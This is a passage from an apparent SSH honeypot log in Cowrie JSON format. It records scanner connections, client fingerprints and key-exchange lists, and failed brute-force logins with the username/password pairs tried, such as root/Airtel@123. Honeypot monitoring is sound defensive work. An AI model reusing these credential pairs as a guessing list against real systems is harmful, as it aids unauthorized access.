521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:11.665629Z","src_ip":"103.77.175.15","session":"37c1ab33423d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:12.432396Z","src_ip":"103.77.175.15","session":"37c1ab33423d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:13.688899Z","src_ip":"103.77.175.15","session":"37c1ab33423d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25250,"dst_ip":"10.17.0.5","dst_port":22,"session":"2271af362e0f","protocol":"ssh","message":"New connection: 2.57.121.112:25250 (10.17.0.5:22) [session: 2271af362e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:18.941687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:18.947280Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:19.053062Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04111976","message":"login attempt [admin/04111976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:19.550809Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041086","message":"login attempt [admin/041086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:20.661794Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040975","message":"login attempt [admin/040975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:21.773178Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.152","src_port":43626,"dst_ip":"10.17.0.5","dst_port":22,"session":"69850d1225dd","protocol":"ssh","message":"New connection: 64.62.156.152:43626 (10.17.0.5:22) [session: 69850d1225dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:22.457351Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003a\\x85\\xd5\\xeb\\xfc\"4<\u0358\u0019k\\xb2\\xechj\\x94\u0014\\xb4O\\xae\\x88\\xa8\\xe9\\xb3t\\x81I\\xc1\\x8a*\\xe1\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003a\\x85\\xd5\\xeb\\xfc\"4<\u0358\u0019k\\xb2\\xechj\\x94\u0014\\xb4O\\xae\\x88\\xa8\\xe9\\xb3t\\x81I\\xc1\\x8a*\\xe1\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:22.463169Z","src_ip":"64.62.156.152","session":"69850d1225dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:22.468277Z","src_ip":"64.62.156.152","session":"69850d1225dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04091973","message":"login attempt [admin/04091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:22.881510Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04081972","message":"login attempt [admin/04081972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:23.992690Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:25.102501Z","src_ip":"2.57.121.112","session":"2271af362e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":47580,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae4b0738638","protocol":"ssh","message":"New connection: 116.110.158.146:47580 (159.203.135.109:22) [session: fae4b0738638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:26.052969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:26.072587Z","src_ip":"116.110.158.146","session":"fae4b0738638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:27.339847Z","src_ip":"116.110.158.146","session":"fae4b0738638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:28.371460Z","src_ip":"116.110.158.146","session":"fae4b0738638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:32.334969Z","src_ip":"116.110.158.146","session":"fae4b0738638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":38960,"dst_ip":"159.203.135.109","dst_port":22,"session":"910cd2a1727f","protocol":"ssh","message":"New connection: 20.203.42.204:38960 (159.203.135.109:22) [session: 910cd2a1727f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:00.842535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:00.847364Z","src_ip":"20.203.42.204","session":"910cd2a1727f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:01.026496Z","src_ip":"20.203.42.204","session":"910cd2a1727f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Airtel@123","message":"login attempt [root/Airtel@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:01.744287Z","src_ip":"20.203.42.204","session":"910cd2a1727f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:02.950648Z","src_ip":"20.203.42.204","session":"910cd2a1727f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":48318,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d5213ae6bd6","protocol":"ssh","message":"New connection: 94.159.98.239:48318 (159.203.135.109:22) [session: 3d5213ae6bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:14.229148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:14.237350Z","src_ip":"94.159.98.239","session":"3d5213ae6bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:14.353373Z","src_ip":"94.159.98.239","session":"3d5213ae6bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marker","message":"login attempt [root/marker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:14.845024Z","src_ip":"94.159.98.239","session":"3d5213ae6bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:16.021549Z","src_ip":"94.159.98.239","session":"3d5213ae6bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42072,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a53644cfbe9","protocol":"ssh","message":"New connection: 147.45.211.215:42072 (159.203.135.109:22) [session: 6a53644cfbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:18.145154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:18.150442Z","src_ip":"147.45.211.215","session":"6a53644cfbe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:18.325712Z","src_ip":"147.45.211.215","session":"6a53644cfbe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sokolik","message":"login attempt [root/sokolik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:18.869043Z","src_ip":"147.45.211.215","session":"6a53644cfbe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:20.047822Z","src_ip":"147.45.211.215","session":"6a53644cfbe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55864,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce6e9d26bbe","protocol":"ssh","message":"New connection: 103.172.78.219:55864 (159.203.135.109:22) [session: dce6e9d26bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:27.117592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:27.125309Z","src_ip":"103.172.78.219","session":"dce6e9d26bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:27.378741Z","src_ip":"103.172.78.219","session":"dce6e9d26bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654789","message":"login attempt [root/654789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:28.134869Z","src_ip":"103.172.78.219","session":"dce6e9d26bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:29.388982Z","src_ip":"103.172.78.219","session":"dce6e9d26bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":46464,"dst_ip":"10.17.0.5","dst_port":22,"session":"91316fad7273","protocol":"ssh","message":"New connection: 62.133.63.178:46464 (10.17.0.5:22) [session: 91316fad7273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:33.621770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:33.626517Z","src_ip":"62.133.63.178","session":"91316fad7273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 